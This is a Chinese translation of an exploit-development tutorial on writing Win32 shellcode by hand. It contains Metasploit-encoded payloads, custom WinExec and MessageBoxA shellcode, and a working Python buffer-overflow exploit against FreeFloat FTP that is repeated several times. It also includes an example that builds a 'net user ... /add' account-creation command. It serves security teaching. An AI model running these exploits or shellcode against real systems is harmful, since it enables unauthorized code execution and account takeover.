-
-
[翻译]Windows Exploit开发系列教程第六部分:WIN32 shellcode编写
-
2016-1-11 18:50 17813
-
译者:Netfairy
前言
欢迎继续!以前我们都是用现成的shellcode, 今天我们将从头开始写我们自己的shellcode. 这是一个十分有用的练习, 两个原因:
(1)如果有一个漏洞有严重的空间限制
(2)理解ROP(返回导向编程)的好办法
为了加快速度我决定使用第一部分为 "FreeFloat FTP"写的漏洞利用框架. 你还需要一个叫”Arwin”的软件, 他可以在指定dll文件找到函数的绝对地址. 下面是所有本节的相关信息(C源码和编译版本)
利用环境:Backtrack 5
调试机器:Windows XP PRO SP3
坏字符:”\x00\x0a\x0d”
漏洞软件:下载
Arwin+源码:arwin.rar
介绍
开始之前我想先说几件事. 首先我们的写的shellcode基于特定的操作系统(我选择Win XP SP3). 其次需要操作系统dll文件没有基地址随机化(ASLR)才可行. 再有就是Google+MSDN是你最后的朋友. 最后就是写win32 shellcode实际上比听起来更容易,不要气馁.
我们将要写两个payload
(1)弹计算器
(2)MessageBox弹消息框
首先我们需要了解这两个API的功能 (1)WinExec (2)MessageBoxA.
先看看用metasploit框架生成的shellcode长啥样(注意大小). 别忘了对shellcode编码以避免坏字符.
(1) WinExec:弹计算器
(2) MessageBoxA:弹出一个标题是”b33f”内容是”Pop the box!”的消息框
你可以试试上面的payload是否工作. 【译者注:用_asm{ lea eax,shellcode; jmp eax;}测试】是时候开始写我们自己的shellcode了.
Exploit框架
我决定用 "FreeFloat FTP" 验证我们编写的shellcode. 这个软件我们在第一部分曾写过漏洞利用程序. 首先我们看看这个软件的漏洞利用框架, 之前写的漏洞利用程序在下面:
我们用这个框架验证接下来编写的shellcode. 只需要把我们写的shellcode放到shellcode变量即可. 下图可以看到控制EIP后执行到nop(也就是shellcode).
ASM && Opcode
编写shellcode必须要处理汇编和机器码(汇编指令的十六机制表示). 你需要了解汇编的基本知识(push, pop ,mov ,xor,等等), 毫无疑问, shellcode是用机器码写的, 可能你会问我怎么知道某条汇编指令的机器码是什么. 我会告诉你答案.
如果你在调试器某条指令下断, immunity提供了编辑指令功能. 很多时候immunity就像是字典. 下面的截图就是把汇编指令翻译为相对应的机器码.
WinExec
写WinExec 的shellcode之前, 我们需要了解这个函数, 它的参数. 你可以查阅MSDN得到相关信息.
WinExec:MSDN
仔细看看这个函数的信息, WinExec结构很简单, 包含三个参数(实际上是两个参数):
让我们看下第一个参数. 第一个参数是指向WinExec的指针, arwin可以帮助我们在没有aslr的WINXP找到这个指针. 在调试机器用终端打开arwin, 执行下面的命令:
接下来就是如何把ASCII字符串(在这个例子就是我们想要执行的命令)写入堆栈. 第一次做可能会有点困惑, 实际上并不难. 最好的理解方式是通过一个例子:
这看来非常直截了当, 你可能注意到了我们的ASCII字符串是4字节对齐. 如果不是4字节对齐会怎么样呢? 有相当多的办法处理这个问题, 我建议你读corelanc0d3r写的这篇文章. 通过扩展的阅读你能学到更多知识. 我会介绍其中一项技术, 看下面
可以看到add没有4字节对齐, 非常简单, 在它后面增加一个空格字符就可以了
最后我们需要push 1到堆栈, 这是WinExec的uCmdShow参数. 如果你不知道机器指令对应的机器码, 在调试里面打上push 1就可以看到了.
uCmdShow需要设置为 0x00000001 这有很多方式可以做到, 发挥你的想象力.我们这样做:
(*) 另外一种思路, 这样也可以
综合
我们把这三个参数按照MSDN说明的顺序放到堆栈. 我两点需要注意:(1)由于栈是往地地址增长, 所以我们把最后一个参数先压栈 (2) lpCmdLine是我们要执行的命令字符串, 但WinExec需要的参数是指向命令字符串的指针.
下面这么做是错的:
上面这么做并不能成功. 我们看看执行这些指令会发生什么.
非常接近成功了, 但是注意到但WinExec使用lpCmdLine参数的时候它不知道参数在哪结束. 我们知道ASCII字符串是以\x00结束 的, 因此我们要给lpCmdLine \x00结束符.如下所示
这才是正确的方式:
这应该足够了! 从下图可以看到参数布局是正确的. 执行这个代码将会弹出一个计算器.
MessageBoxA
接下来写MessageBoxA shellcode, 先看看这个函数的参数.
看起来有点复杂, 但是没有什么不能解决的. 和前面不同的是这里有两个ASCII字符串需要处理.
先用arwin在user32.dll找到MessageBoxA的地址
好的, 像之前一样布置字符串如下.:
还有两个参数:hWnd和uType. 这两个参数都设置为0x00000000就好了, 很方便, 通过异或一个寄存器就可以. 反正我们之前也是要异或寄存器得到\x00作为ASCII字符串结束符.
这是我写的shellcode(当然, 你可以写你自己的
看下面的截图, 参数显示正确, 继续运行将会弹出 一个消息框.
原文链接:http://www.fuzzysecurity.com/tutorials/expDev/6.html
前言
欢迎继续!以前我们都是用现成的shellcode, 今天我们将从头开始写我们自己的shellcode. 这是一个十分有用的练习, 两个原因:
(1)如果有一个漏洞有严重的空间限制
(2)理解ROP(返回导向编程)的好办法
为了加快速度我决定使用第一部分为 "FreeFloat FTP"写的漏洞利用框架. 你还需要一个叫”Arwin”的软件, 他可以在指定dll文件找到函数的绝对地址. 下面是所有本节的相关信息(C源码和编译版本)
利用环境:Backtrack 5
调试机器:Windows XP PRO SP3
坏字符:”\x00\x0a\x0d”
漏洞软件:下载
Arwin+源码:arwin.rar
介绍
开始之前我想先说几件事. 首先我们的写的shellcode基于特定的操作系统(我选择Win XP SP3). 其次需要操作系统dll文件没有基地址随机化(ASLR)才可行. 再有就是Google+MSDN是你最后的朋友. 最后就是写win32 shellcode实际上比听起来更容易,不要气馁.
我们将要写两个payload
(1)弹计算器
(2)MessageBox弹消息框
首先我们需要了解这两个API的功能 (1)WinExec (2)MessageBoxA.
先看看用metasploit框架生成的shellcode长啥样(注意大小). 别忘了对shellcode编码以避免坏字符.
(1) WinExec:弹计算器
root@bt:~# msfpayload windows/exec CMD=calc.exe R | msfencode -b '\x00\x0A\x0D' -t c [*] x86/shikata_ga_nai succeeded with size 227 (iteration=1) unsigned char buf[] = "\xd9\xec\xd9\x74\x24\xf4\xb8\x28\x1f\x44\xde\x5b\x31\xc9\xb1" "\x33\x31\x43\x17\x83\xeb\xfc\x03\x6b\x0c\xa6\x2b\x97\xda\xaf" "\xd4\x67\x1b\xd0\x5d\x82\x2a\xc2\x3a\xc7\x1f\xd2\x49\x85\x93" "\x99\x1c\x3d\x27\xef\x88\x32\x80\x5a\xef\x7d\x11\x6b\x2f\xd1" "\xd1\xed\xd3\x2b\x06\xce\xea\xe4\x5b\x0f\x2a\x18\x93\x5d\xe3" "\x57\x06\x72\x80\x25\x9b\x73\x46\x22\xa3\x0b\xe3\xf4\x50\xa6" "\xea\x24\xc8\xbd\xa5\xdc\x62\x99\x15\xdd\xa7\xf9\x6a\x94\xcc" "\xca\x19\x27\x05\x03\xe1\x16\x69\xc8\xdc\x97\x64\x10\x18\x1f" "\x97\x67\x52\x5c\x2a\x70\xa1\x1f\xf0\xf5\x34\x87\x73\xad\x9c" "\x36\x57\x28\x56\x34\x1c\x3e\x30\x58\xa3\x93\x4a\x64\x28\x12" "\x9d\xed\x6a\x31\x39\xb6\x29\x58\x18\x12\x9f\x65\x7a\xfa\x40" "\xc0\xf0\xe8\x95\x72\x5b\x66\x6b\xf6\xe1\xcf\x6b\x08\xea\x7f" "\x04\x39\x61\x10\x53\xc6\xa0\x55\xab\x8c\xe9\xff\x24\x49\x78" "\x42\x29\x6a\x56\x80\x54\xe9\x53\x78\xa3\xf1\x11\x7d\xef\xb5" "\xca\x0f\x60\x50\xed\xbc\x81\x71\x8e\x23\x12\x19\x7f\xc6\x92" "\xb8\x7f";
(2) MessageBoxA:弹出一个标题是”b33f”内容是”Pop the box!”的消息框
root@bt:~# msfpayload windows/messagebox TEXT='Pop the box!' TITLE=b33f R| msfencode -b '\x00\x0A\x0D' -t c [*] x86/shikata_ga_nai succeeded with size 287 (iteration=1) unsigned char buf[] = "\xb8\xe0\x20\xa7\x98\xdb\xd1\xd9\x74\x24\xf4\x5a\x29\xc9\xb1" "\x42\x31\x42\x12\x83\xc2\x04\x03\xa2\x2e\x45\x6d\xfb\xc4\x12" "\x57\x8f\x3e\xd1\x59\xbd\x8d\x6e\xab\x88\x96\x1b\xba\x3a\xdc" "\x6a\x31\xb1\x94\x8e\xc2\x83\x50\x24\xaa\x2b\xea\x0c\x6b\x64" "\xf4\x05\x78\x23\x05\x37\x81\x32\x65\x3c\x12\x90\x42\xc9\xae" "\xe4\x01\x99\x18\x6c\x17\xc8\xd2\xc6\x0f\x87\xbf\xf6\x2e\x7c" "\xdc\xc2\x79\x09\x17\xa1\x7b\xe3\x69\x4a\x4a\x3b\x75\x18\x29" "\x7b\xf2\x67\xf3\xb3\xf6\x66\x34\xa0\xfd\x53\xc6\x13\xd6\xd6" "\xd7\xd7\x7c\x3c\x19\x03\xe6\xb7\x15\x98\x6c\x9d\x39\x1f\x98" "\xaa\x46\x94\x5f\x44\xcf\xee\x7b\x88\xb1\x2d\x31\xb8\x18\x66" "\xbf\x5d\xd3\x44\xa8\x13\xaa\x46\xc5\x79\xdb\xc8\xea\x82\xe4" "\x7e\x51\x78\xa0\xff\x82\x62\xa5\x78\x2e\x46\x18\x6f\xc1\x79" "\x63\x90\x57\xc0\x94\x07\x04\xa6\x84\x96\xbc\x05\xf7\x36\x59" "\x01\x82\x35\xc4\xa3\xe4\xe6\x22\x49\x7c\xf0\x7d\xb2\x2b\xf9" "\x08\x8e\x84\xba\xa3\xac\x68\x01\x34\xac\x56\x2b\xd3\xad\x69" "\x34\xdc\x45\xce\xeb\x03\xb5\x86\x89\x70\x86\x30\x7f\xac\x60" "\xe0\x5b\x56\xf9\xfa\xcc\x0e\xd9\xdc\x2c\xc7\x7b\x72\x55\x36" "\x13\xf8\xcd\x5d\xc3\x68\x5e\xf1\x73\x49\x6f\xc4\xfb\xc5\xab" "\xda\x72\x34\x82\x30\xd6\xe4\xb4\xe6\x29\xda\x06\xc7\x85\x24" "\x3d\xcf";
你可以试试上面的payload是否工作. 【译者注:用_asm{ lea eax,shellcode; jmp eax;}测试】是时候开始写我们自己的shellcode了.
Exploit框架
我决定用 "FreeFloat FTP" 验证我们编写的shellcode. 这个软件我们在第一部分曾写过漏洞利用程序. 首先我们看看这个软件的漏洞利用框架, 之前写的漏洞利用程序在下面:
#!/usr/bin/python #----------------------------------------------------------------------------------# # Exploit: FreeFloat FTP (MKD BOF) # # OS: WinXP PRO SP3 # # Author: b33f (Ruben Boonen) # # Software: http://www.freefloat.com/software/freefloatftpserver.zip # #----------------------------------------------------------------------------------# import socket import sys shellcode = ( ) #----------------------------------------------------------------------------------# # Badchars: \x00\x0A\x0D # # 0x77c35459 : push esp # ret | msvcrt.dll # # shellcode at ESP => space 749-bytes # #----------------------------------------------------------------------------------# buffer = "\x90"*20 + shellcode evil = "A"*247 + "\x59\x54\xC3\x77" + buffer + "C"*(749-len(buffer)) s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) connect=s.connect(('192.168.111.128',21)) s.recv(1024) s.send('USER anonymous\r\n') s.recv(1024) s.send('PASS anonymous\r\n') s.recv(1024) s.send('MKD ' + evil + '\r\n') s.recv(1024) s.send('QUIT\r\n') s.close
我们用这个框架验证接下来编写的shellcode. 只需要把我们写的shellcode放到shellcode变量即可. 下图可以看到控制EIP后执行到nop(也就是shellcode).
ASM && Opcode
编写shellcode必须要处理汇编和机器码(汇编指令的十六机制表示). 你需要了解汇编的基本知识(push, pop ,mov ,xor,等等), 毫无疑问, shellcode是用机器码写的, 可能你会问我怎么知道某条汇编指令的机器码是什么. 我会告诉你答案.
如果你在调试器某条指令下断, immunity提供了编辑指令功能. 很多时候immunity就像是字典. 下面的截图就是把汇编指令翻译为相对应的机器码.
WinExec
写WinExec 的shellcode之前, 我们需要了解这个函数, 它的参数. 你可以查阅MSDN得到相关信息.
WinExec:MSDN
仔细看看这个函数的信息, WinExec结构很简单, 包含三个参数(实际上是两个参数):
Structure: Parameters: UINT WINAPI WinExec( => 指向kernel32.dll的WinExec指针 __in LPCSTR lpCmdLine, => ASCII字符串”calc.exe” __in UINT uCmdShow => 0x00000001 (SW_SHOWNORMAL) );
让我们看下第一个参数. 第一个参数是指向WinExec的指针, arwin可以帮助我们在没有aslr的WINXP找到这个指针. 在调试机器用终端打开arwin, 执行下面的命令:
arwin.exe kernel32.dll WinExec
接下来就是如何把ASCII字符串(在这个例子就是我们想要执行的命令)写入堆栈. 第一次做可能会有点困惑, 实际上并不难. 最好的理解方式是通过一个例子:
ASCII Text: ASCII Text: calc.exe abcdefghijkl Split Text into groups of 4 characters: Split Text into groups of 4 characters: "calc" "abcd" ".exe" "efgh" "ijkl" Reverse the order of the character groups: Reverse the order of the character groups: ".exe" "ijkl" "calc" "efgh" "abcd" Look on google for a ASCII to hex converter Look on google for a ASCII to hex converter and convert each character while maintaining and convert each character while maintaining the order: the order: "\x2E\x65\x78\x65" "\x69\x6A\x6B\x6C" "\x63\x61\x6C\x63" "\x65\x66\x67\x68" "\x61\x62\x63\x64" To write these values to the stack simply add To write these values to the stack simply add "\x68" infront of each group: "\x68" infront of each group: "\x68\x2E\x65\x78\x65" => PUSH ".exe" "\x68\x69\x6A\x6B\x6C" => PUSH "ijkl" "\x68\x63\x61\x6C\x63" => PUSH "calc" "\x68\x65\x66\x67\x68" => PUSH "efgh" "\x68\x61\x62\x63\x64" => PUSH "abcd"
这看来非常直截了当, 你可能注意到了我们的ASCII字符串是4字节对齐. 如果不是4字节对齐会怎么样呢? 有相当多的办法处理这个问题, 我建议你读corelanc0d3r写的这篇文章. 通过扩展的阅读你能学到更多知识. 我会介绍其中一项技术, 看下面
ASCII Text: net user b33f 1234 /add Split Text into groups of 4 characters: "net " "user" " b33" "f 12" "34 /" "add"
可以看到add没有4字节对齐, 非常简单, 在它后面增加一个空格字符就可以了
"add " => "\x68\x61\x64\x64\x20" => PUSH "add " "34 /" => "\x68\x33\x34\x20\x2F" => PUSH "34 /" "f 12" => "\x68\x66\x20\x31\x32" => PUSH "f 12" " b33" => "\x68\x20\x62\x33\x33" => PUSH " b33" "user" => "\x68\x75\x73\x65\x72" => PUSH "user" "net " => "\x68\x6E\x65\x74\x20" => PUSH "net "
最后我们需要push 1到堆栈, 这是WinExec的uCmdShow参数. 如果你不知道机器指令对应的机器码, 在调试里面打上push 1就可以看到了.
uCmdShow需要设置为 0x00000001 这有很多方式可以做到, 发挥你的想象力.我们这样做:
PUSH 1 => "\x6A\x01" (ASCII "1" = "\x31")
(*) 另外一种思路, 这样也可以
xor eax,eax (eax清0) inc eax (eax加1) push eax (把eax的值压栈)
综合
我们把这三个参数按照MSDN说明的顺序放到堆栈. 我两点需要注意:(1)由于栈是往地地址增长, 所以我们把最后一个参数先压栈 (2) lpCmdLine是我们要执行的命令字符串, 但WinExec需要的参数是指向命令字符串的指针.
下面这么做是错的:
"\x68\x2E\x65\x78\x65" => PUSH ".exe" \ Push The ASCII string to the stack "\x68\x63\x61\x6C\x63" => PUSH "calc" / "\x8B\xC4" => MOV EAX,ESP | Put a pointer to the ASCII string in EAX "\x6A\x01" => PUSH 1 | Push uCmdShow parameter to the stack "\x50" => PUSH EAX | Push the pointer to lpCmdLine to the stack "\xBB\xED\x2A\x86\x7C" => MOV EBX,7C862AED | Move the pointer to WinExec() into EBX "\xFF\xD3" => CALL EBX | Call WinExec()
上面这么做并不能成功. 我们看看执行这些指令会发生什么.
非常接近成功了, 但是注意到但WinExec使用lpCmdLine参数的时候它不知道参数在哪结束. 我们知道ASCII字符串是以\x00结束 的, 因此我们要给lpCmdLine \x00结束符.如下所示
这才是正确的方式:
We need "calc.exe" + "\x00"'s but we know that null-bytes are badcharacters however we can easily xor a register (which will then contain 4 null-bytes) and push it to the stack just before we push “calc.exe”. "\x33\xc0" => XOR EAX,EAX | Zero out EAX register "\x50" => PUSH EAX | Push EAX to have null-byte padding for "calc.exe" "\x68\x2E\x65\x78\x65" => PUSH ".exe" \ Push The ASCII string to the stack "\x68\x63\x61\x6C\x63" => PUSH "calc" / "\x8B\xC4" => MOV EAX,ESP | Put a pointer to the ASCII string in EAX "\x6A\x01" => PUSH 1 | Push uCmdShow parameter to the stack "\x50" => PUSH EAX | Push the pointer to lpCmdLine to the stack "\xBB\xED\x2A\x86\x7C" => MOV EBX,7C862AED | Move the pointer to WinExec() into EBX "\xFF\xD3" => CALL EBX | Call WinExec()
这应该足够了! 从下图可以看到参数布局是正确的. 执行这个代码将会弹出一个计算器.
#!/usr/bin/python #----------------------------------------------------------------------------------# # Exploit: FreeFloat FTP (MKD BOF) # # OS: WinXP PRO SP3 # # Author: b33f (Ruben Boonen) # # Software: http://www.freefloat.com/software/freefloatftpserver.zip # #----------------------------------------------------------------------------------# import socket import sys #----------------------------------------------------------------------------------# # (*) WinExec # # (*) arwin.exe => Kernel32.dll - WinExec 0x7C862AED # # (*) MSDN Structure: # # # # UINT WINAPI WinExec( => PTR to WinExec # # __in LPCSTR lpCmdLine, => calc.exe # # __in UINT uCmdShow => 0x1 # # ); # # # # Final Size => 26-bytes (metasploit version size => 227-bytes) # #----------------------------------------------------------------------------------# WinExec = ( "\x33\xc0" # XOR EAX,EAX "\x50" # PUSH EAX => padding for lpCmdLine "\x68\x2E\x65\x78\x65" # PUSH ".exe" "\x68\x63\x61\x6C\x63" # PUSH "calc" "\x8B\xC4" # MOV EAX,ESP "\x6A\x01" # PUSH 1 "\x50" # PUSH EAX "\xBB\xED\x2A\x86\x7C" # MOV EBX,kernel32.WinExec "\xFF\xD3") # CALL EBX #----------------------------------------------------------------------------------# # Badchars: \x00\x0A\x0D # # 0x77c35459 : push esp # ret | msvcrt.dll # # shellcode at ESP => space 749-bytes # #----------------------------------------------------------------------------------# buffer = "\x90"*20 + WinExec evil = "A"*247 + "\x59\x54\xC3\x77" + buffer + "C"*(749-len(buffer)) s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) connect=s.connect(('192.168.111.128',21)) s.recv(1024) s.send('USER anonymous\r\n') s.recv(1024) s.send('PASS anonymous\r\n') s.recv(1024) s.send('MKD ' + evil + '\r\n') s.recv(1024) s.send('QUIT\r\n') s.close
MessageBoxA
接下来写MessageBoxA shellcode, 先看看这个函数的参数.
MessageBoxA:MSDN Structure: Parameters: int WINAPI MessageBox( => user32.dll的MessageBoxA地址 __in_opt HWND hWnd, => 0x00000000 (NULL = No Window Owner) __in_opt LPCTSTR lpText, => 指向"Pop the box!" __in_opt LPCTSTR lpCaption, => 指向"b33f" __in UINT uType => 0x00000000 (MB_OK|MB_APPLMODAL)
看起来有点复杂, 但是没有什么不能解决的. 和前面不同的是这里有两个ASCII字符串需要处理.
先用arwin在user32.dll找到MessageBoxA的地址
arwin.exe user32.dll MessageBoxA
好的, 像之前一样布置字符串如下.:
ASCII Text: ASCII Text: b33f Pop the box! Split Text into groups of 4 characters: Split Text into groups of 4 characters: "b33f" "Pop " "the " "box!" Reverse the order of the character groups: Reverse the order of the character groups: "b33f" "box!" "the " "Pop " Look on google for a ASCII to hex converter Look on google for a ASCII to hex converter and convert each character while maintaining and convert each character while maintaining the order: the order: "\x62\x33\x33\x66" "\x62\x6F\x78\x21" "\x74\x68\x65\x20" "\x50\x6F\x70\x20" To write these values to the stack simply add To write these values to the stack simply add "\x68" infront of each group: "\x68" infront of each group: "\x68\x62\x33\x33\x66" => PUSH "b33f" "\x68\x62\x6F\x78\x21" => PUSH "box!" "\x68\x74\x68\x65\x20" => PUSH "the " "\x68\x50\x6F\x70\x20" => PUSH "Pop "
还有两个参数:hWnd和uType. 这两个参数都设置为0x00000000就好了, 很方便, 通过异或一个寄存器就可以. 反正我们之前也是要异或寄存器得到\x00作为ASCII字符串结束符.
这是我写的shellcode(当然, 你可以写你自己的
正确的方法: "\x33\xc0" => XOR EAX,EAX | Zero out EAX register "\x50" => PUSH EAX | Push EAX to have null-byte padding for "b33f" "\x68\x62\x33\x33\x66" => PUSH "b33f" | Push The ASCII string to the stack "\x8B\xCC" => MOV ECX,ESP | Put a pointer to lpCaption string in ECX "\x50" => PUSH EAX | Push EAX to have null-byte padding for "Pop the box!" "\x68\x62\x6F\x78\x21" => PUSH "box!" \ "\x68\x74\x68\x65\x20" => PUSH "the " | Push The ASCII string to the stack "\x68\x50\x6F\x70\x20" => PUSH "Pop " / "\x8B\xD4" => MOV EDX,ESP | Put a pointer to lpText string in EDX "\x50" => PUSH EAX | Push uType=0x00000000 "\x51" => PUSH ECX | Push lpCaption "\x52" => PUSH EDX | Push lpText "\x50" => PUSH EAX | Push hWnd=0x00000000 "\xBE\xEA\x07\x45\x7E" => MOV ESI,7E4507EA | Move the pointer to MessageBoxA() into ESI "\xFF\xD6" => CALL ESI | Call MessageBoxA() )
看下面的截图, 参数显示正确, 继续运行将会弹出 一个消息框.
#!/usr/bin/python #----------------------------------------------------------------------------------# # Exploit: FreeFloat FTP (MKD BOF) # # OS: WinXP PRO SP3 # # Author: b33f (Ruben Boonen) # # Software: http://www.freefloat.com/software/freefloatftpserver.zip # #----------------------------------------------------------------------------------# # This exploit was created for Part 6 of my Exploit Development tutorial # # series - http://www.fuzzysecurity.com/tutorials/expDev/6.html # #----------------------------------------------------------------------------------# import socket import sys #----------------------------------------------------------------------------------# # (*) WinExec # # (*) arwin.exe => Kernel32.dll - WinExec 0x7C862AED # # (*) MSDN Structure: # # # # UINT WINAPI WinExec( => PTR to WinExec # # __in LPCSTR lpCmdLine, => calc.exe # # __in UINT uCmdShow => 0x1 # # ); # # # # Final Size => 26-bytes (metasploit version size => 227-bytes) # #----------------------------------------------------------------------------------# WinExec = ( "\x33\xc0" # XOR EAX,EAX "\x50" # PUSH EAX => padding for lpCmdLine "\x68\x2E\x65\x78\x65" # PUSH ".exe" "\x68\x63\x61\x6C\x63" # PUSH "calc" "\x8B\xC4" # MOV EAX,ESP "\x6A\x01" # PUSH 1 "\x50" # PUSH EAX "\xBB\xED\x2A\x86\x7C" # MOV EBX,kernel32.WinExec "\xFF\xD3") # CALL EBX #----------------------------------------------------------------------------------# # (*) MessageBoxA # # (*) arwin.exe => user32.dll - MessageBoxA 0x7E4507EA # # (*) MSDN Structure: # # # # int WINAPI MessageBox( => PTR to MessageBoxA # # __in_opt HWND hWnd, => 0x0 # # __in_opt LPCTSTR lpText, => Pop the box! # # __in_opt LPCTSTR lpCaption, => b33f # # __in UINT uType => 0x0 # # ); # # # # Final Size => 39-bytes (metasploit version size => 287-bytes) # #----------------------------------------------------------------------------------# MessageBoxA = ( "\x33\xc0" # XOR EAX,EAX "\x50" # PUSH EAX => padding for lpCaption "\x68\x62\x33\x33\x66" # PUSH "b33f" "\x8B\xCC" # MOV ECX,ESP => PTR to lpCaption "\x50" # PUSH EAX => padding for lpText "\x68\x62\x6F\x78\x21" # PUSH "box!" "\x68\x74\x68\x65\x20" # PUSH "the " "\x68\x50\x6F\x70\x20" # PUSH "Pop " "\x8B\xD4" # MOV EDX,ESP => PTR to lpText "\x50" # PUSH EAX - uType=0x0 "\x51" # PUSH ECX - lpCaption "\x52" # PUSH EDX - lpText "\x50" # PUSH EAX - hWnd=0x0 "\xBE\xEA\x07\x45\x7E" # MOV ESI,USER32.MessageBoxA "\xFF\xD6") # CALL ESI #----------------------------------------------------------------------------------# # Badchars: \x00\x0A\x0D # # 0x77c35459 : push esp # ret | msvcrt.dll # # shellcode at ESP => space 749-bytes # #----------------------------------------------------------------------------------# buffer = "\x90"*20 + MessageBoxA evil = "A"*247 + "\x59\x54\xC3\x77" + buffer + "C"*(749-len(buffer)) s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) connect=s.connect(('192.168.111.128',21)) s.recv(1024) s.send('USER anonymous\r\n') s.recv(1024) s.send('PASS anonymous\r\n') s.recv(1024) s.send('MKD ' + evil + '\r\n') s.recv(1024) s.send('QUIT\r\n') s.close
原文链接:http://www.fuzzysecurity.com/tutorials/expDev/6.html
[培训]《安卓高级研修班(网课)》月薪三万计划,掌 握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法
赞赏
他的文章
谁下载
谁下载
看原图
赞赏
雪币:
留言: